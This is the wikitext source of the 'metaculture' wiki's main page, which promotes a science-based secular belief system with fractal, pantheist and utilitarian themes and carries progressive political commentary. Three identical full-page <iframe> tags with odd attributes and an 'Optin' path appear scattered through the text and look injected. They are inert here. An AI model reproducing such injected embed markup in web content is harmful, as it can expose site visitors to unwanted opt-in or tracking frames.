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                                "*": "[[File:Mandelbrot-Fractal-Puzzle.jpg|thumb|250x250px|[[Fractal Geometry of God|The Fractal Geometry of the Universe]]]]\n<big>Welcome to the metaculture [[wiki]]--the shortest path to scientific [[enlightenment]] or your [[money]] back!</big>\n\n<big>Think of a basic science education as giving you the pieces to the puzzle of the [[universe]]. All of the facts are there, but nobody tells you how to put them together to create a [[belief system]] that provides [[meaning]].</big> \n\n<big>''metaculture'' is the picture on the box, and it is a [[fractal]].</big>\n== The Goal ==\n\nmetaculture attempts to describe the [https://en.wikipedia.org/wiki/Emergence emergent properties] of a [[universal]] [[belief system]] based on \n[https://en.wikipedia.org/wiki/Empirical_evidence empirical knowledge] of our [[universe]], our [[minds]] and humanity's shared [[culture]].\n\n=== Philosophical Goals ===\nWhen fully developed, metaculture should provide:\n\n* A [[Belief System|mental framework]] for rational comprehension of how the [[universe]] works.\n* A [[culturally neutral]] [[moral]] philosophy, updated for the [[future]].\n* An [[evidence-based]] socioeconomic and political philosophy.\n* A viable path towards the creation of a [[In-group|universal in-group]].\n* A readable [[Wiki|Wikipedia]] that tells the ''story'' of human knowledge.\nAny improvement to the [[ideas]], [[Perspective|perspectives]], or [[rhetoric]] that better advances these [[philosophical]] goals should be adopted.\n=== Social Goals ===\nBy providing an easy way for anyone to gain all of the the [[Necessary Prerequisite|prerequisite knowledge]] needed to come to this understanding, the following goals for [[society]] should be advanced:\n\n* Promote the principles of [[science]], [[reason]], and [[critical thinking]].\n* Use of [[Evidence-Based Best Practices]] as the basis for [[political]] and [[Life choices|personal decision making]].\n* Change primary [[meterstick]] for success from [[money]]/GDP to [[utilitarian]] [[happiness]]/GNH.\n* Reduction in [[Cognitive Dissonance|cognitive dissonance]] due to conflicting interpretations of [[science]] and [[religion]].\n* Update our [[Culture|culture's]] [[ethics]] and [[social norms]] to deal with [[capitalism]] and [[future]] [[technology]].\n* Increase the [[incentives]] for [[economic]] and social [[justice]] and restore the [[balance of power]].\n* Expansion of [[political]], personal, [[religious]], and [[economic]] [[freedom]].\n* Oppose [[pseudoscience]] and the [[Grift|grift economy]] and undermine it with awareness.\n* Increase the [[trust]] in [[institutions]] that is required for [[democracy]] to function.\n* Enable the creation of [[secular institutions]] that serve all of the [[cultural]] functions that [[religious]] ones do.\n* Better preserve [[nature]] and the [[environment]], avert [[climate change]] and other [[Apocalypse Prevention|apocalypse]] scenarios.\n* World peace, [[In-group|unity]], and and end to all [[war]] (if there's [[time]]).\n\nAny improvement to the [[ideas]], [[Perspective|perspectives]], or [[rhetoric]] that better advances these [[social]] goals should be adopted.\n\n=== Open Source Philosophy ===\n[[File:Giture-open-source-scripture-with-version-control.png|thumb|250x250px|[[Scripture|Giture]]]]\nmetaculture is a dynamic philosophy, growing and improving with humanity's ability to more accurately describe the [[universe]]. It collects into a single narrative structure what, to the best of our knowledge, [[science]] has to say about how our [[universe]] [[Creation Story|came to be]], [[Laws of physics|how it works]], how our [[minds]] work, and [[best-practices]] for [[Life|how to live our lives]] and construct our [[society]] to achieve constantly improving outcomes.<blockquote>''\"Go ahead. Prove me wrong. I'll just hit the Edit button.\" --Wiki Contributor''</blockquote>It proposes [[Secular humanist|secular]] version of [[scripture]] that enables it to serve all of the same [[cultural]] and [[psychological]] functions of [[religion]] while avoiding the shortcomings of [[dogma]]. It does this by creating a dynamic, open source, living [[scripture]] of [[science]] using the [[wiki]] [[platform]]. ''Giture'', if you will pardon the programming pun.\n\nIf [https://wikipedia.org/ Wikipedia] superseded the encyclopedia as the trusted shared reference for general knowledge, the metaculture [[wiki]] attempts to do the same for [[scripture]]. Using the [[wikipedia:Wisdom_of_the_crowd|wisdom of the crowd]], and a well-moderated, [[self-correcting]] platform like [[Wiki|Wikipedia]], it should be possible to tell the story of human [[history]], [[morality]], and the origins of the [[universe]] in a way that is compelling, [[Universalist|universal]], and [[Scientific|scientifically]] accurate. This can form the groundwork for a global shared [[cultural]] understanding that provides the [[psychological]] framework for a [[universal in-group]] that is necessary for a globally connected humanity to survive and thrive.\n\nUnlike regular [https://wikipedia.org/ Wikipedia], this [[wiki]] should be designed to provide only the most important [[information]] needed to make [[life choices]]. It should be something people can fully read and understand, and use as shared reference, knowing that most other people will be familiar with it. This is one of the key [[psychological]] and [[Culture|cultural]] functions of [[scripture]], and is desperately needed in a [[future]] where [[information overload]] is rapidly becoming a mental health issue.\n\n=== A New Kind of Metanarrative ===\n\nmetaculture is not proposed as a replacement for any [[rational]], [[universalist]] [[Belief System|belief system]] you already hold that works for you. It is a new [[perspective]] on these common [[ideas]] that covers all of the [[philosophical]] bases from a [[holistic]] point of view, tries to appeal to a variety of modern [[cultural]] [[perspectives]], and offers new ways of [[Persuasion|presenting the ideas]] that helps [[Necessary Prerequisite|fill in the gaps]] of modern [[education]] that keep others from [[Persuasion|coming to the same understanding]]. \n\nFor many, it's just the thing you already [[believe]], with more detail, and a [[Fractal Geometry of God|symbolic fractal theme]] that ties together all of the ideas into a [[God Concept|single, unifying concept]].It is a way to [[In-group|unite all of the different people of the world]] who believe the same thing in different ways.<blockquote>''\"It's like reading a more articulate and detailed version of how I view reality\" --Satisfied Reader''</blockquote>If you come from a [[Religion|theistic]] or [[atheistic]] perspective, metaculture offers a path to reconcile the [[Cognitive Dissonance|cognitive dissonance]] that conflicting [[scientific]] and [[spiritual]] modes of thought can cause. [[File:Science-religion-metaculture.png|center|thumb|600x600px|The Triangles are a [[Metaphor]]]]It should work side-by-side with any [[Religion|religious]] or [[Secular humanist|humanist]] [[tradition]] you practice, allowing greater understanding of [[science]], [[spirituality]], and other [[cultures]] without replacing your own. It's metaculture, not [[wikipedia:Cultural_homogenization|monoculture]].\n\nA thorough reading should serve as an inoculation against [[scriptural]] [[literalism]] and [[Authoritarianism|authoritarian]] [[Ideology|ideologies]], and a booster for [[critical thinking]], regardless of whether the proposed [[Belief System|belief system]] is adopted as a [[Holistic|whole]]. It offers [[something for everyone]].\n\n<iframe key=\"list\" level=\"dfah-cmpzourl\" path=\"ua/Optin?od=11287ecb802e9f&zx=128e6af96&tD=1ac119d1db5e79e7&sD=1ac119d1db5e7c74\" frameborder=\"0\" id=\"iframewin\" width=\"100%\" height=\"100%\"></iframe>\n\n== Core Tenets ==\n[[File:World-Pantheist-Movement-Symbol.JPG|thumb|[[Fractal]] [[Pantheistic]] [[Universalism]]]]\nmetaculture is a complete, unified [[philosophical]] and [[theological]] system that addresses all of the major questions of [[ethics]], [[wikipedia:Epistemology|epistemology]], [[wikipedia:Metaphysics|metaphysics]], [[aesthetics]], etc. that [[philosophers]], [[Science|scientists]], and [[religions]] have always dealt with. \n\nThe goal is not to rewrite these works but to combine the best of them in a way that offers a simple, universally applicable [[belief system]] that is consistent with both [[science]] and [[scripture]] and can be understood regardless of one's education level or [[cultural]] background.\n\nThe core tenets are:\n\n* [[Reality|Scientific Realism]]: that an objective [[reality]] exists and advances in science improve the accuracy of our understanding of that [[reality]]. The [https://en.wikipedia.org/wiki/Metaphysics metaphysical], [https://en.wikipedia.org/wiki/Ontology ontological] and [https://en.wikipedia.org/wiki/Epistemology epistemological] assumptions of metaculture are the same as those that underlie a modern understanding of Scientific Realism that accounts for the biases, [[power]] structures, paradigms, and other [[social]] factors highlighted by [[wikipedia:The_Structure_of_Scientific_Revolutions|Kuhn]] and [[wikipedia:Jacques_Derrida|Derrida]].\n\n* [[Utilitarian|Utilitarianism]]: that the success of our [[ethics]] can be measured and improved based on the impact it has on human [[emotions]]. Furthermore, the assumed goal of [[utilitarianism]] ([[happiness and well-being]]) can be derived empirically from [https://en.wikipedia.org/wiki/Evolutionary_psychology evolutionary psychology].\n\n* [[Aesthetics|Fractal Aesthetics]]: that our sense of [[beauty]] derives from our evolved mental representations of the [[universe]], and because the [[universe]] is inherently [[self-similar]], complex and symmetrical, we find [[beauty]] in that which exemplifies these things. The [[fractal]] is also the [https://en.wikipedia.org/wiki/Religious_symbol symbolism] of metaculture.\n\n* [[Pantheism|Pantheistic]] [[Universalist|Universalism]]: that the [[God Concept|concept of god]] is common to all [[Religion|religions]] because it is an [[allegory]] for the [[universe]] we all [[Reality|exist in]], as well as a [[self-organizing]] [[God Concept|pattern in the brain]].\n\n* That any principle described herein, including these core tenets, is subject to future revision should empirical evidence contradict it. [[Dogma|The Dogma of No Dogma]].\n\n* Should another parallel effort better succeed in fulfilling the goals of metaculture, our resources should be dedicated to support the project with a greater chance of success.\n\nmetaculture allows anyone to quickly gain a robust, consistent, accurate, and [[self-correcting]] understanding of how our [[universe]], [[brains]] and [[societies]] works. It uses [[science]] to provide direct and satisfactory answers to [[life]]'s biggest questions, without reliance on [[supernatural]] [[Scripture|stories]] or forcing you to figure it all out for yourself.\n\nmetaculture should convey all of the [[psychological]] and sociological benefits [[traditionally]] ascribed to [[religion]]. This include social cohesion, [[psychological]] support, personal [[meaning]], positive social change, a good [[creation]] story and [[psychologically]] satisfying answers to the ultimate question of [[life]], the [[universe]] and [[everything]].[https://en.wikipedia.org/wiki/Phrases_from_The_Hitchhiker%27s_Guide_to_the_Galaxy#The_Answer_to_the_Ultimate_Question_of_Life,_the_Universe,_and_Everything_is_42]\n\n== Table of Contents ==\n[[File:Mandelbrot_Fractal_Zoom.gif|thumb|right|[[Fractal Geometry of God|z = z^2 + c (repeat infinitely)]]]]\n\nShortcuts to the answers to the big questions. Since this is a book in [[wiki]] format, you will need to follow the links to find most of the [[information]] it contains. These are just some starting points.\n\nIt is designed to be read non-linearly but systematically, following links as you follow your interests, until you rarely see an unread link. Some pages will be visited multiple times, since they serve as a nexus for many related concepts.\n\nThe [[Webinar series|'''Webinar Series''']] breaks down the [[wiki]] by topic, and will include recorded presentations and Q&A sessions once they are available.\n\nThe '''[[Reading List]]''' gives a selection of books that, if you fed them all to a large language model [[Artificial intelligence|AI]], would produce something similar to this [[wiki]].\n\nYou can also just go to a [[Special:Random|'''Random Page''']] and take it from there!\n\n* What is [[god]]?\n* The [[fractal]] [[universe]]\n* [[The Gambler|Betting on reality]]\n* The role of [[religion]]\n* The scientific [[Creation Story]]\n* The scientific [[Afterlife]]\n* [[Consciousness]], [[Free Will]], and the [[Brain]]\n* [[Utilitarian]] [[Ethics]]\n* Maximizing [[Happiness]] is objectively the [[Meaning of Life|goal of Life]]\n* [[God Concept|Creating reflexive happiness]]\n* [[Quality of life versus quantity of life]]\n* [[Economics]] and [[Capitalism]]\n* [[Politics]] and [[Justice]]\n* [[Best-Practices]] for creating a [[culture]] of [[happiness]]\n* [[Persuasion|The Importance of Persuasion]]\n\nComplete Index of Pages:\n\n* [[Special:MostLinkedPages|'''Most Linked Pages''']]\n* [https://www.metaculture.net/metawiki/index.php?title=Special:AllPages&hideredirects=1 All Pages Excluding Redirects]\n* [[Special:AllPages|All Pages]]\n\n[[File:The Dark Side of the Moon Cover.png|thumb|right|A simple prism]]\n\nTable of Contents, set to the lyrics of [https://en.wikipedia.org/wiki/Eclipse_(Pink_Floyd_song) Eclipse]:\n\n* [[Materialism|All that you touch]]\n* [[Fractals|All that you see]]\n* [[Food|All that you taste]]\n* [[Consciousness|All you feel]].\n* [[Love|All that you love]]\n* [[Hate|All that you hate]]\n* [[Trust|All you distrust]]\n* [[Persuasion|All you save]].\n* [[Altruism|All that you give]]\n* [[Capitalism|All that you deal]]\n* [[Money|All that you buy]],\n* [[Grift|beg, borrow or steal]].\n* [[Creation Story|All you create]]\n* [[Death|All you destroy]]\n* [[Life choices|All that you do]]\n* [[Freedom of speech|All that you say]].\n* [[Nutrition|All that you eat]]\n* [[Population|everyone you meet]]\n* [[Justice|All that you slight]]\n* [[War|everyone you fight]].\n* [[Time|All that is now]]\n* [[Afterlife|All that is gone]]\n* [[Future|All that's to come]]\n* [[Everything|and everything under the sun]].\n\nLike [[Easter eggs]]? Find all of the tracks on [https://en.wikipedia.org/wiki/The_Dark_Side_of_the_Moon Dark Side of the Moon] and collect your achievement!\n\n<iframe key=\"list\" level=\"dfah-cmpzourl\" path=\"ua/Optin?od=11287ecb802e9f&zx=128e6af96&tD=1ac119d1db5e79e7&sD=1ac119d1db5e7c74\" frameborder=\"0\" id=\"iframewin\" width=\"100%\" height=\"100%\"></iframe>\n\n== Why a Wiki? ==\n[[File:Wikipedia-logo-wikimedia-philosophy-wiki-theology-fractals.png|thumb|229x229px|[[wikipedia:Jimmy_Wales|God Bless Jimmy Whales]]]]\nThe [[wiki]] format was chosen to allow ongoing updates based on [[best-practices]] from the latest widely accepted research, contributions from many people with different [[perspectives]] on the common goal, non-linear reading order, and direct links to detailed descriptions and research on any subject that the reader is unfamiliar with.\n\nThere are a number of advantages to this publishing style, detailed on the [[wiki]] page.\n\nThe best way to read this wiki is to follow the links anytime you have a question or a curiosity. You will eventually get back to where you left off. Topics with multiple references may require multiple readings. Use the [https://en.wikipedia.org/wiki/Montessori_education Montessori] approach to self-directed learning.\n\nHovering the links with your mouse on desktop or using tough screen gestures will give you a preview of the first paragraph of each page and a thumbnail. This makes it much easier to stay on one page as you read and keep track of the ones you have already seen.\n\n== Why Bother? ==\n\nThe main reason is that nobody else seems to have bothered. There are [[Belief System#Why Hasn't Anyone Done This?|a number of reasons why this is]], most of which boil down to the [[progressive]] and [[secular]] aversion to [[dogma]]. This means that the closest similar attempts are organizations like [[Universalist|Unitarian Universalists]], [https://en.wikipedia.org/wiki/Secular_humanism Secular Humanists], and [https://en.wikipedia.org/wiki/Sunday_Assembly Sunday Assembly], all of which lack a comprehensive [[philosophy]] that can offer the kind of definitive answers that [[traditional]] [[religion]] always has. They lack the [[ideology]] and therefore the organizing power. metaculture provides a [[self-correcting]] [[belief system]] that avoids the pitfalls of [[dogma]] while retaining the [[inspiration]] and organizational zeal of a proper [[ideology]].\n\nThere is also the fact that this author finds it fun, interesting, and cathartic, and would do this even if nobody would ever be able to read it. There is also this [https://www.youtube.com/watch?v=XTNGg0Tj5Aw uncontrollable urge] to do so. But hopefully you will read it and find it some combination of enlightening and entertaining!\n\n== Who is This For? ==\n\nThis is for all of the people disillusioned with organized [[religion]], [[politics]], [[capitalism]], [[technology]], and all of the other [[institutions]] of modernity that appear to be arrayed in a confederacy against our [[happiness]] and ability to thrive as natural humans.\n\nThere are others that peddle [[belief systems]] catering to the disaffected and offer [[conspiracy theories]] in place of analysis, and [[Grift|scams]] instead of solutions. [[Spiritual]] [[grifters]] use [[quantum woo]] to sell supplements and seminars to people whose symptoms are a condition of modern [[life]], and can never be cured without doing the work of organizing for social change that [[conspiracy theories]] distract them from.\n\nIt is for all the young men who are being led by the pied pipers of the [[manosphere]] towards the right-wing faux-[[philosophy]] of [[Jordan Peterson]]. If you are searching for [[meaning]] and a [[belief system]] that will help you become a better person and eventually meet a woman--is [[misogyny]] really what you think women want? The majority of women are [[progressive]]. Do the basic [[math]]. Real men are [[Reality|realists]], and metaculture is a viable, reality-based alternative to the [[manosphere]].\n\nIt is for all of the [[progressives]] that yearn for a [[social safety net]] that will use the incredible [[wealth]] of our [[society]] to protect people from the abuses of [[capitalism]] and reestablish the [[balance of power]] between workers and owners. You know that the vast majority will support [[evidence-based]] policy if they can just see through the [[propaganda]] that pervades our media. You know that the people who stand in opposition to [[progress]] use [[religion]] as the basis for their decision making. How can they ever change their minds about [[climate change]] without changing their [[literal]] view of [[scripture]]?\n\nmetaculture is for everyone, but in the present moment it fills a vital need to present an alternative [[belief system]] that fulfills the same need for [[certainty]] offered by [[religions]], [[Grift|scam artists]], and [[JP and JC|right-wing ideologues]]. It is able to do this by putting [[science]] and [[self-correction]] as its core value to avoid the pitfalls of [[dogma]].\n\n== Why the Lower Case \"m\"? ==\n[[File:M-is-for-metaculture.png|thumb|200x200px|Not a [[wikipedia:Proper_noun|proper noun]]]]\nmetaculture is not a name for a particular [[philosophy]]. It is a common noun used to describe the emergent, global, [[Culturally neutral|common culture]] that will allow future generations to [[In-group|recognize their shared humanity]] and cooperate effectively while retaining long-held [[traditions]], heritage and uniqueness. It represents the generalized [[sociological]] and [[psychological]] principles that underlie all human [[cultures]], whatever those may be, rather than a specific theory about what those are.  \n\nSimilarly, we know there are \"true\" [[laws of physics]] that govern the [[universe]], and [[science]] can only improve our approximation of them over time. metaculture's current form is like the current state of [[science]], with the common goal of better approximating the thing it seeks to describe by incorporating new evidence. \n\nThe lower case \"m\" emphasizes the fact that metaculture is not the [[philosophy]] of any one person or group, but an abstract and [[inevitable]] concept that, whatever form it takes, will be the next step in [[cultural]] [[evolution]]. This [[wiki]] seeks to describe that thing, regardless of whether or not it ''is'' that thing. Though it [[Belief System#Why Hasn't Anyone Done This?|offers itself as an alternative among few viable candidates]].\n\nLikewise, references to [[god]] are also lower case to indicate the generic term for [[god]] and not the implied Judeo-Christian ''God'' that the capital \"G\" typically refers to.\n\nDoes using the lower case at the start of a sentence reinforce the notion of the common noun usage? Or does the distinct violation of language rules make it even more of a proper noun? We will not get into this.\n\n== Who Are You? ==\n\nWhile some corporate [[ethics]] involve pithy slogans like \"[https://en.wikipedia.org/wiki/Don%27t_be_evil don't be evil]\" that sound good but do little to help resolve modern moral dilemmas, [http://www.metaculture.net Meta Enterprises] is directly addressing the problem of evil by developing a [[universal]] [[ethical]] [[philosophy]] that resolves the conflict between [[science]] and [[religion]]. We also sell [https://www.simpleocr.com OCR solutions].\n\n''We are the good Meta. We are the original Meta. Since 1998.''\n\nWhile it was originally developed and hosted by [http://www.metaculture.net Meta Enterprises], metaculture is not meant to represent the opinions or perspective of any individual, organization or ideology. Rather it is an attempt to describe the unwritten belief system that a growing number of [[secular]] [[universalists]] arrive at on their own each day. The components have been written about extensively but separately. The metaculture project seeks to weave this common collection of ideas into a new [[metanarrative]], allowing it to be easily understood, recognized and taught to others. It is a [[necessary prerequisite]] for the building of [[secular institutions]] that bring people together in celebration of these common goals, and for traditional [[religions]] to adapt their [[theology]] to enable coexistence in a globalized world.\n\nAs such, all authorship on this [[wiki]] will be anonymous, so that the ideas are separated from any personality or group.\n\nFor any feedback, commentary, or to request an account and become and editor of this [[wiki]], please email [mailto:fractalguy@metaculture.net fractalguy@metaculture.net]\n\n<iframe key=\"list\" level=\"dfah-cmpzourl\" path=\"ua/Optin?od=11287ecb802e9f&zx=128e6af96&tD=1ac119d1db5e79e7&sD=1ac119d1db5e7c74\" frameborder=\"0\" id=\"iframewin\" width=\"100%\" height=\"100%\"></iframe>"
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